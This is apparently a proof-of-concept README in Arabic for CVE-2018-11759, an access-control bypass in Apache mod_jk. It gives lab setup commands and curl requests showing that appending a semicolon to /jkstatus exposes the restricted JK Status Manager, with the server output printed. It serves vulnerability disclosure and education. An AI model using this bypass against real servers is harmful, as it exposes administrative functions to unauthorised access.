
إثبات مفهوم يوضح كيفية استغلال CVE-2018-11759
الكود الخاص بخادم الويب Apache (httpd) الذي كان يعمل على تطبيع مسار الطلب قبل مطابقته مع خريطة URI-العامل في موصل Apache Tomcat JK (mod_jk) للإصدارات 1.2.0 إلى 1.2.44 لم يعالج بعض الحالات الطرفية بشكل صحيح. إذا تم كشف مجموعة فرعية فقط من عناوين URL التي يدعمها Tomcat عبر httpd، فكان من الممكن لطلب مُنشأ بشكل خاص أن يعرض وظائف التطبيق من خلال الوكيل العكسي والتي لم تكن مخصصة للعملاء الذين يصلون إلى التطبيق عبر الوكيل العكسي. كما كان من الممكن في بعض الإعدادات لطلب مُنشأ بشكل خاص تجاوز ضوابط الوصول المكونة في httpd. وبينما يوجد بعض التداخل بين هذه المشكلة وCVE-2018-1323، إلا أنهما ليسا متطابقين.
يوضح إثبات المفهوم أدناه كيفية استغلال CVE-2018-11759 بالإضافة إلى تأثيره على نظام المعلومات المستهدف.
docker-compose up -d
تحلَّ بالصبر، فقد تستغرق العملية وقتًا طويلاً في المرة الأولى.
بمجرد التشغيل، سيكون الوكيل القابل للاستغلال متاحًا عبر العنوان التالي http://localhost
يمكن ضبط نقاط النهاية المُثبتة عبر توجيه JkMount الخاص بـ mod_jk، مثل واجهة مدير حالة JK (التي تتيح إدارة عمال AJP)، بحيث تكون مقيدة من الوصول الخارجي.
curl "http://localhost/jkstatus"
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /jkstatus
on this server.</p>
</body></html>
يمكن تجاوز هذا التقييد بإضافة فاصلة منقوطة إلى نقطة النهاية المحمية.
curl "http://localhost/jkstatus;"
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><title>JK Status Manager</title></head>
<body>
<h1>JK Status Manager for localhost:8080</h1>
<table><tr><td>Server Version:</td><td>Apache/2.4.6 (CentOS) mod_jk/1.2.44</td><td> </td><td>Server Time:</td><td>2018-11-01 09:05:49 +0000</td></tr>
<tr><td>JK Version:</td><td>mod_jk/1.2.44</td><td></td><td>Unix Seconds:</td><td>1541063149</td></tr></table>
<hr/>
<table><tbody valign="baseline"><tr>
<td><form method="get" action="/jkstatus;">
<input type="submit" value="Start auto refresh"/>
(every <input name="re" type="text" size="3" value="10"/> seconds)</form>
</td><td> | </td>
<td>
<form method="get" action="/jkstatus;">
<input type="submit" value="Change format"/>
<select name="mime" size="1"><option value="xml">XML</option><option value="prop">Properties</option><option value="txt">Text</option></select></form>
</td>
</tr></tbody></table>
<table><tbody valign="baseline"><tr>
<td>
[<a href="/jkstatus;?opt=32">Read Only</a>]
</td>
<td>
[<a href="/jkstatus;?cmd=dump">Dump</a>]
</td>
<td>
[<b>S</b>=Show only this worker, <b>E</b>=Edit worker, <b>R</b>=Reset worker state, <b>T</b>=Try worker recovery]<br/>
</td>
...
مزيد من المعلومات في مقالة مدونتنا
تم اكتشاف هذه المشكلة لأول مرة بواسطة Alphan YAVAS من Biznet Bilisim A.S. وتم الإبلاغ عنها بمسؤولية إلى فريق أمان Apache Tomcat. تم تحديد نواقل هجوم إضافية بواسطة Raphaël Arrouas (Xel) و Jean Lejeune (Nitrax) من immunIT.